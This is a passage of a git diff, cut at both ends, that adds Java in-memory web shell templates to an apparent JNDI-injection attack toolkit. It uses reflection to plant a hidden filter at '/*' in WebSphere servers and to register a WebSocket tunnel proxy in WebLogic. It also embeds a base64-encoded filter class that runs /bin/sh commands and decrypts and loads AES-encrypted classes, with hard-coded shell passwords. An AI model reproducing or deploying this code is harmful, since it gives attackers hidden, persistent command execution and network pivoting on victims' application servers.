2, -72, 0, 3, -74, 0, 4, 18, 5, -74, 0, 6, 62, 29, -103, 0, 31, -72, 0, 7, 6, -67, 0, 8, 89, 3, 18, 9, 83, 89, 4, 18, 10, 83, 89, 5, 43, 83, -74, 0, 11, 77, -89, 0, 28, -72, 0, 7, 6, -67, 0, 8, 89, 3, 18, 12, 83, 89, 4, 18, 13, 83, 89, 5, 43, 83, -74, 0, 11, 77, 44, -74, 0, 14, 58, 4, -69, 0, 15, 89, -73, 0, 16, 58, 5, 25, 4, -74, 0, 17, 89, 54, 6, 2, -97, 0, 15, 25, 5, 21, 6, -110, -74, 0, 18, 87, -89, -1, -21, 25, 4, -74, 0, 19, 44, -74, 0, 20, 87, 42, -76, 0, 21, -71, 0, 22, 1, 0, 25, 5, -74, 0, 23, -71, 0, 24, 2, 0, -89, 0, 8, 77, 44, -74, 0, 26, -79, 0, 1, 0, 0, 0, -117, 0, -114, 0, 25, 0, 0, 0, 1, 0, 39, 0, 40, 0, 1, 0, 36, 0, 0, 0, 25, 0, 2, 0, 3, 0, 0, 0, 13, 42, 43, -75, 0, 21, 43, 42, -71, 0, 27, 2, 0, -79, 0, 0, 0, 0, 16, 65, 0, 37, 0, 41, 0, 1, 0, 36, 0, 0, 0, 21, 0, 2, 0, 2, 0, 0, 0, 9, 42, 43, -64, 0, 8, -74, 0, 28, -79, 0, 0, 0, 0, 0, 2, 0, 42, 0, 0, 0, 2, 0, 45, 0, 44, 0, 0, 0, 18, 0, 2, 0, 31, 0, 81, 0, 43, 6, 9, 0, 73, 0, 110, 0, 107, 6, 9}; + Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + method.setAccessible(true); + clazz = (Class) method.invoke(cl, bytes, 0, bytes.length); + ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(clazz, urlPath).build(); + WsServerContainer container = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName()); + if (null == container.findMapping(urlPath)) { + try { + container.addEndpoint(configEndpoint); + } catch (DeploymentException e) { + e.printStackTrace(); + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WSFMSFromThread.java b/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WSFMSFromThread.java new file mode 100644 index 0000000..27f25bd --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WSFMSFromThread.java @@ -0,0 +1,127 @@ +package com.qi4l.jndi.template.memshell.Websphere; + +import javax.servlet.*; +import java.io.IOException; +import java.lang.reflect.Method; +import java.util.EnumSet; +import java.util.List; + +/** + * WebSocket 内存马 + * + * @author QI4L + */ +public class WSFMSFromThread implements Filter { + + public static String pattern; + + public static String NAME; + + static { + try { + Class clazz = Thread.currentThread().getClass(); + java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals"); + field.setAccessible(true); + Object obj = field.get(Thread.currentThread()); + + Object[] obj_arr = (Object[]) obj; + for (int j = 0; j < obj_arr.length; j++) { + Object o = obj_arr[j]; + if (o == null) continue; + + if (o.getClass().getName().endsWith("WebContainerRequestState")) { + Object request = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]); + Object servletContext = request.getClass().getMethod("getServletContext", new Class[0]).invoke(request, new Object[0]); + + field = servletContext.getClass().getDeclaredField("context"); + field.setAccessible(true); + Object context = field.get(servletContext); + + field = context.getClass().getSuperclass().getDeclaredField("config"); + field.setAccessible(true); + Object webAppConfiguration = field.get(context); + + Method method = null; + Method[] methods = webAppConfiguration.getClass().getMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals("getFilterMappings")) { + method = methods[i]; + break; + } + } + List filerMappings = (List) method.invoke(webAppConfiguration, new Object[0]); + + boolean flag = false; + for (int i = 0; i < filerMappings.size(); i++) { + Object filterConfig = filerMappings.get(i).getClass().getMethod("getFilterConfig", new Class[0]).invoke(filerMappings.get(i), new Object[0]); + String name = (String) filterConfig.getClass().getMethod("getFilterName", new Class[0]).invoke(filterConfig, new Object[0]); + if (name.equals(NAME)) { + flag = true; + break; + } + } + + //如果已存在同名的 Filter,就不在添加,防止重复添加 + if (!flag) { + Filter filter = new WSFMSFromThread(); + + Object filterConfig = context.getClass().getMethod("createFilterConfig", new Class[]{String.class}).invoke(context, new Object[]{NAME}); + filterConfig.getClass().getMethod("setFilter", new Class[]{Filter.class}).invoke(filterConfig, new Object[]{filter}); + + method = null; + methods = webAppConfiguration.getClass().getMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals("addFilterInfo")) { + method = methods[i]; + break; + } + } + method.invoke(webAppConfiguration, new Object[]{filterConfig}); + + field = filterConfig.getClass().getSuperclass().getDeclaredField("context"); + field.setAccessible(true); + Object original = field.get(filterConfig); + + //设置为null,从而 addMappingForUrlPatterns 流程中不会抛出异常 + field.set(filterConfig, null); + + method = filterConfig.getClass().getDeclaredMethod("addMappingForUrlPatterns", new Class[]{EnumSet.class, boolean.class, String[].class}); + method.invoke(filterConfig, new Object[]{EnumSet.of(DispatcherType.REQUEST), true, new String[]{pattern}}); + + //addMappingForUrlPatterns 流程走完,再将其设置为原来的值 + field.set(filterConfig, original); + + method = null; + methods = webAppConfiguration.getClass().getMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals("getUriFilterMappings")) { + method = methods[i]; + break; + } + } + + //这里的目的是为了将我们添加的动态 Filter 放到第一位 + List uriFilterMappingInfos = (List) method.invoke(webAppConfiguration, new Object[0]); + uriFilterMappingInfos.add(0, filerMappings.get(filerMappings.size() - 1)); + } + + break; + } + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WSWebsphereProxy.java b/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WSWebsphereProxy.java new file mode 100644 index 0000000..2038cd7 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WSWebsphereProxy.java @@ -0,0 +1,155 @@ +package com.qi4l.jndi.template.memshell.Websphere; + +import com.ibm.websphere.wsoc.WsWsocServerContainer; +import weblogic.servlet.internal.HttpConnectionHandler; +import weblogic.servlet.internal.ServletRequestImpl; +import weblogic.servlet.provider.ContainerSupportProviderImpl; + +import javax.servlet.ServletContext; +import javax.websocket.Endpoint; +import javax.websocket.EndpointConfig; +import javax.websocket.MessageHandler; +import javax.websocket.Session; +import javax.websocket.server.ServerEndpointConfig; +import java.io.ByteArrayOutputStream; +import java.lang.reflect.Field; +import java.net.InetSocketAddress; +import java.nio.ByteBuffer; +import java.nio.channels.AsynchronousSocketChannel; +import java.nio.channels.CompletionHandler; +import java.util.HashMap; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; + +public class WSWebsphereProxy extends Endpoint { + + static { + try { + Thread threadLocal = Thread.currentThread(); + Field workEntry = threadLocal.getClass().getDeclaredField("workEntry"); + workEntry.setAccessible(true); + weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor wlsRequestExecutor = (ContainerSupportProviderImpl.WlsRequestExecutor) workEntry.get(threadLocal); + Field field1 = wlsRequestExecutor.getClass().getDeclaredField("connectionHandler"); + field1.setAccessible(true); + weblogic.servlet.internal.HttpConnectionHandler connectionHandler = (HttpConnectionHandler) field1.get(wlsRequestExecutor); + ServletRequestImpl request = connectionHandler.getServletRequest(); + String path = request.getParameter("path"); + ServletContext servletContext = request.getSession().getServletContext(); + ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(WSWebsphereProxy.class, path).build(); + WsWsocServerContainer container = (WsWsocServerContainer) servletContext.getAttribute("javax.websocket.server.ServerContainer"); + Field name = null; + try { + name = container.getClass().getDeclaredField("noMoreAdds"); + name.setAccessible(true); + name.setBoolean(container, false); + try { + if (servletContext.getAttribute(path) == null) { + container.addEndpoint(configEndpoint); + servletContext.setAttribute(path, path); + } + System.out.println("success, connect url path: " + servletContext.getContextPath() + path); + } catch (Exception e) { + System.out.println(e.toString()); + } + } catch (Exception e) { + System.out.println(e.toString()); + } + } catch (Exception ignored) { + } + } + + long i = 0; + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + HashMap map = new HashMap(); + + void readFromServer(Session channel, AsynchronousSocketChannel client) { + final ByteBuffer buffer = ByteBuffer.allocate(102400); + Attach attach = new Attach(); + attach.client = client; + attach.channel = channel; + client.read(buffer, attach, new CompletionHandler() { + @Override + public void completed(Integer result, final Attach scAttachment) { + buffer.clear(); + try { + if (buffer.hasRemaining() && result >= 0) { + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr, 0, result); + baos.write(arr, 0, result); + ByteBuffer q = ByteBuffer.wrap(baos.toByteArray()); + if (scAttachment.channel.isOpen()) { + scAttachment.channel.getBasicRemote().sendBinary(q); + } + baos = new ByteArrayOutputStream(); + readFromServer(scAttachment.channel, scAttachment.client); + } else { + if (result > 0) { + byte[] arr = new byte[result]; + ByteBuffer b = buffer.get(arr, 0, result); + baos.write(arr, 0, result); + readFromServer(scAttachment.channel, scAttachment.client); + } + } + } catch (Exception ignored) { + } + } + + @Override + public void failed(Throwable t, Attach scAttachment) { + t.printStackTrace(); + } + }); + } + + void process(ByteBuffer z, Session channel) { + try { + if (i > 1) { + AsynchronousSocketChannel client = map.get(channel.getId()); + client.write(z).get(); + z.flip(); + z.clear(); + } else if (i == 1) { + String values = new String(z.array()); + String[] array = values.split(" "); + String[] addrarray = array[1].split(":"); + AsynchronousSocketChannel client = AsynchronousSocketChannel.open(); + int po = Integer.parseInt(addrarray[1]); + InetSocketAddress hostAddress = new InetSocketAddress(addrarray[0], po); + Future future = client.connect(hostAddress); + try { + future.get(10, TimeUnit.SECONDS); + } catch (Exception ignored) { + channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n"); + return; + } + map.put(channel.getId(), client); + readFromServer(channel, client); + channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n"); + } + } catch (Exception ignored) { + } + } + + @Override + public void onOpen(final Session session, EndpointConfig config) { + i = 0; + session.setMaxBinaryMessageBufferSize(1024 * 1024 * 20); + session.setMaxTextMessageBufferSize(1024 * 1024 * 20); + session.addMessageHandler(new MessageHandler.Whole() { + @Override + public void onMessage(ByteBuffer message) { + try { + message.clear(); + i++; + process(message, session); + } catch (Exception ignored) { + } + } + }); + } + + static class Attach { + public AsynchronousSocketChannel client; + public Session channel; + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WebsphereMemshellTemplate.java b/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WebsphereMemshellTemplate.java new file mode 100644 index 0000000..c5d1167 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/Websphere/WebsphereMemshellTemplate.java @@ -0,0 +1,142 @@ +package com.qi4l.jndi.template.memshell.Websphere; + +import com.sun.org.apache.xalan.internal.xsltc.DOM; +import com.sun.org.apache.xalan.internal.xsltc.TransletException; +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; +import com.sun.org.apache.xml.internal.serializer.SerializationHandler; +import sun.misc.BASE64Decoder; + +import javax.servlet.DispatcherType; +import javax.servlet.Filter; +import java.lang.reflect.Method; +import java.util.EnumSet; +import java.util.List; + +import static org.fusesource.jansi.Ansi.ansi; + +public class WebsphereMemshellTemplate extends AbstractTranslet { + + public WebsphereMemshellTemplate() { + try { + String filterName = "dynamicFilter"; + String urlPattern = "/*"; + + Class clazz = Thread.currentThread().getClass(); + java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals"); + field.setAccessible(true); + Object obj = field.get(Thread.currentThread()); + + Object[] obj_arr = (Object[]) obj; + for (int j = 0; j < obj_arr.length; j++) { + Object o = obj_arr[j]; + if (o == null) continue; + + if (o.getClass().getName().endsWith("WebContainerRequestState")) { + Object request = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]); + Object servletContext = request.getClass().getMethod("getServletContext", new Class[0]).invoke(request, new Object[0]); + + field = servletContext.getClass().getDeclaredField("context"); + field.setAccessible(true); + Object context = field.get(servletContext); + + field = context.getClass().getSuperclass().getDeclaredField("config"); + field.setAccessible(true); + Object webAppConfiguration = field.get(context); + + Method method = null; + Method[] methods = webAppConfiguration.getClass().getMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals("getFilterMappings")) { + method = methods[i]; + break; + } + } + List filerMappings = (List) method.invoke(webAppConfiguration, new Object[0]); + + boolean flag = false; + for (int i = 0; i < filerMappings.size(); i++) { + Object filterConfig = filerMappings.get(i).getClass().getMethod("getFilterConfig", new Class[0]).invoke(filerMappings.get(i), new Object[0]); + String name = (String) filterConfig.getClass().getMethod("getFilterName", new Class[0]).invoke(filterConfig, new Object[0]); + if (name.equals(filterName)) { + flag = true; + break; + } + } + + //如果已存在同名的 Filter,就不在添加,防止重复添加 + if (!flag) { + System.out.println(ansi().render("@|green [+] Add Dynamic Filter|@")); + + ClassLoader cl = Thread.currentThread().getContextClassLoader(); + try { + clazz = cl.loadClass("com.qi4l.jndi.template.DynamicFilterTemplate"); + } catch (ClassNotFoundException e) { + BASE64Decoder base64Decoder = new BASE64Decoder(); + String codeClass = "yv66vgAAADIBXgoAQgCnCACoCQBdAKkIAKoJAF0AqwgArAkAXQCtCgBdAK4JAK8AsAgAsQoAsgCzCAC0CwBIALUIALYKABMAtwoAEwC4CQC5ALoIALsHALwIAL0IAL4IAHcIAL8HAMAKAMEAwgoAwQDDCgDEAMUKABgAxggAxwoAGADICgAYAMkLAEkAygoAywCzBwDMCwAiAM0LACIAzggAzwsAIgDQCADRCwDSANMIANQKANUA1gcA1wcA2AoALACnCwDSANkKACwA2ggA2woALADcCgAsAN0KABMA3goAKwDfCgDVAOAHAOEKADYApwsASADiCgDjAOQKADYA5QoA1QDmCQBdAOcIAOgHAOkHAHwHAOoKAD4A6wcA7AoA7QDuCgDtAO8KAPAA8QoAPgDyCADzBwD0BwD1BwD2CgBKAPcLAPgA+QgA+goAQAD7BwD8CgBCAP0JAP4A/wcBAAoAPgEBCAECCgDwAQMKAP4BBAcBBQoAVwD3BwEGCgBZAPcHAQcKAFsA9wcBCAcBCQEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAQYmFzaWNDbWRTaGVsbFB3ZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAE2JlaGluZGVyU2hlbGxIZWFkZXIBABBiZWhpbmRlclNoZWxsUHdkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADFMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9EeW5hbWljRmlsdGVyVGVtcGxhdGU7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcBCgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQADY21kAQABawEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADmV2aWxDbGFzc0J5dGVzAQACW0IBAAlldmlsQ2xhc3MBAApldmlsT2JqZWN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAMdGFyZ2V0TWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQALZmlsdGVyQ2hhaW4BABtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjsBAA1TdGFja01hcFRhYmxlBwC8BwB1BwD2AQAHZGVzdHJveQEACmluaXRpYWxpemUBAAJleAEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABWNsYXp6AQAGbWV0aG9kAQAEY29kZQEABWJ5dGVzAQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQAtTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb247BwEIBwDqBwD8BwDpBwELBwEABwEFBwEGBwEHAQAKU291cmNlRmlsZQEAGkR5bmFtaWNGaWx0ZXJUZW1wbGF0ZS5qYXZhDABlAGYBAARwYXNzDABhAGIBAAxYLU9wdGlvbnMtQWkMAGMAYgEAEGU0NWUzMjlmZWI1ZDkyNWIMAGQAYgwAjwBmBwEMDAENAQ4BAB1bK10gRHluYW1pYyBGaWx0ZXIgc2F5cyBoZWxsbwcBDwwBEAERAQAEdHlwZQwBEgETAQAFYmFzaWMMAPMBFAwBFQEWBwEXDAEYAGIBAAEvAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEAAi9DAQARamF2YS91dGlsL1NjYW5uZXIHARkMARoBGwwBHAEdBwEeDAEfASAMAGUBIQEAAlxBDAEiASMMASQBJQwBJgEnBwEoAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwBKQETDAEqASUBAARQT1NUDAErASwBAAF1BwEtDAEuAS8BAANBRVMHATAMATEBMgEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBMwE0DAE1ATYBAAAMATUBNwwBOAElDAE5AToMAGUBOwwAbAE8AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwBPQE+BwE/DAFAASUMAUEBQgwBQwFEDABfAGABAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgwBRQFGAQAQamF2YS9sYW5nL09iamVjdAcBRwwBSAFJDAFKAUsHAQsMAUwBTQwBTgFPAQAGZXF1YWxzAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBUABmBwFRDAByAVIBACdjb20uZmVpaG9uZy5sZGFwLnRlbXBsYXRlLk15Q2xhc3NMb2FkZXIMAVMBVAEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uDAFVAVYHAVcMAVgAYAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAVkBVgEDHHl2NjZ2Z0FBQURJQUd3b0FCUUFXQndBWENnQUNBQllLQUFJQUdBY0FHUUVBQmp4cGJtbDBQZ0VBR2loTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPeWxXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRWt4dlkyRnNWbUZ5YVdGaWJHVlVZV0pzWlFFQUJIUm9hWE1CQUNsTVkyOXRMMlpsYVdodmJtY3ZiR1JoY0M5MFpXMXdiR0YwWlM5TmVVTnNZWE56VEc5aFpHVnlPd0VBQVdNQkFCZE1hbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5T3dFQUMyUmxabWx1WlVOc1lYTnpBUUFzS0Z0Q1RHcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjanNwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNCQUFWaWVYUmxjd0VBQWx0Q0FRQUxZMnhoYzNOTWIyRmtaWElCQUFwVGIzVnlZMlZHYVd4bEFRQVNUWGxEYkdGemMweHZZV1JsY2k1cVlYWmhEQUFHQUFjQkFDZGpiMjB2Wm1WcGFHOXVaeTlzWkdGd0wzUmxiWEJzWVhSbEwwMTVRMnhoYzNOTWIyRmtaWElNQUE4QUdnRUFGV3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2dFQUZ5aGJRa2xKS1V4cVlYWmhMMnhoYm1jdlEyeGhjM003QUNFQUFnQUZBQUFBQUFBQ0FBQUFCZ0FIQUFFQUNBQUFBRG9BQWdBQ0FBQUFCaW9ydHdBQnNRQUFBQUlBQ1FBQUFBWUFBUUFBQUFRQUNnQUFBQllBQWdBQUFBWUFDd0FNQUFBQUFBQUdBQTBBRGdBQkFBa0FEd0FRQUFFQUNBQUFBRVFBQkFBQ0FBQUFFTHNBQWxrcnR3QURLZ01xdnJZQUJMQUFBQUFDQUFrQUFBQUdBQUVBQUFBSUFBb0FBQUFXQUFJQUFBQVFBQkVBRWdBQUFBQUFFQUFUQUE0QUFRQUJBQlFBQUFBQ0FCVT0MAVoBWwwBXAFdAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAL2NvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0ZpbHRlclRlbXBsYXRlAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBAA1nZXRTdXBlcmNsYXNzAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwAhAF0AQgABAF4ABAACAF8AYAAAAAIAYQBiAAAAAgBjAGIAAAACAGQAYgAAAAUAAQBlAGYAAQBnAAAAWQACAAEAAAAbKrcAASoSArUAAyoSBLUABSoSBrUAByq3AAixAAAAAgBoAAAAGgAGAAAAFgAEABEACgASABAAEwAWABcAGgAYAGkAAAAMAAEAAAAbAGoAawAAAAEAbABtAAIAZwAAADUAAAACAAAAAbEAAAACAGgAAAAGAAEAAAAdAGkAAAAWAAIAAAABAGoAawAAAAAAAQBuAG8AAQBwAAAABAABAHEAAQByAHMAAgBnAAAC5AAHAAoAAAGpsgAJEgq2AAsrEgy5AA0CAMYAkSsSDLkADQIAEg62AA+ZAIErKrQAA7kADQIAOgQZBMYAbRkEtgAQmgBlAToFsgAREhK2AA+ZABsGvQATWQMSFFNZBBIVU1kFGQRTOgWnABgGvQATWQMSFlNZBBIXU1kFGQRTOgW7ABhZuAAZGQW2ABq2ABu3ABwSHbYAHrYAHzoGLLkAIAEAGQa2ACGnAQorwAAiKrQABbkAIwIAxgDyK8AAIrkAJAEAEiW2AA+ZANQqtAAHOgQrwAAiuQAmAQASJxkEuQAoAwASKbgAKjoFGQUFuwArWbsALFm3AC0rwAAiuQAmAQASJ7kALgIAtgAvEjC2ADG2ADK2ADMSKbcANLYANRkFuwA2WbcANyu5ADgBALYAObYAOrYAOzoGKrQAPBI9Bb0APlkDEj9TWQQSQFO2AEEBBb0AQlkDGQZTWQS4AEO2AERTtgBFwAA+OgcZB7YARjoIGQcSRwW9AD5ZAxJIU1kEEklTtgBBOgkZCRkIBb0AQlkDK1NZBCxTtgBFV6cAFToEGQS2AEunAAstKyy5AEwDALEAAQCxAZMBlgBKAAMAaAAAAG4AGwAAACEACAAkACMAJgAvACcAPAAoAD8AKQBKACoAYgAsAHcALgCTAC8AngAxALEANADCADUAyAA2ANoANwDhADgBFQA5AS8AOgFhADsBaAA8AX8APQGTAEEBlgA/AZgAQAGdAEEBoABDAagARQBpAAAAjgAOAD8AXwB0AHUABQCTAAsAdgBiAAYALwBvAHcAYgAEAMgAywB4AGIABADhALIAeQB6AAUBLwBkAHsAfAAGAWEAMgB9AGAABwFoACsAfgB/AAgBfwAUAIAAgQAJAZgABQCCAIMABAAAAakAagBrAAAAAAGpAIQAhQABAAABqQCGAIcAAgAAAakAiACJAAMAigAAABkACP0AYgcAiwcAjBT5ACYC+wDxQgcAjQkHAHAAAAAGAAIAWQBxAAEAjgBmAAEAZwAAACsAAAABAAAAAbEAAAACAGgAAAAGAAEAAABKAGkAAAAMAAEAAAABAGoAawAAAAIAjwBmAAEAZwAAAgMABwAHAAAAqbgAQ7YAREwqKxJNtgBOtQA8pwB/TSu2AFBOAToEGQTHADMtEkKlAC0tEj0GvQA+WQMSP1NZBLIAUVNZBbIAUVO2AEE6BKf/2DoFLbYAU06n/84SVDoFuwA2WbcANxkFtgA6O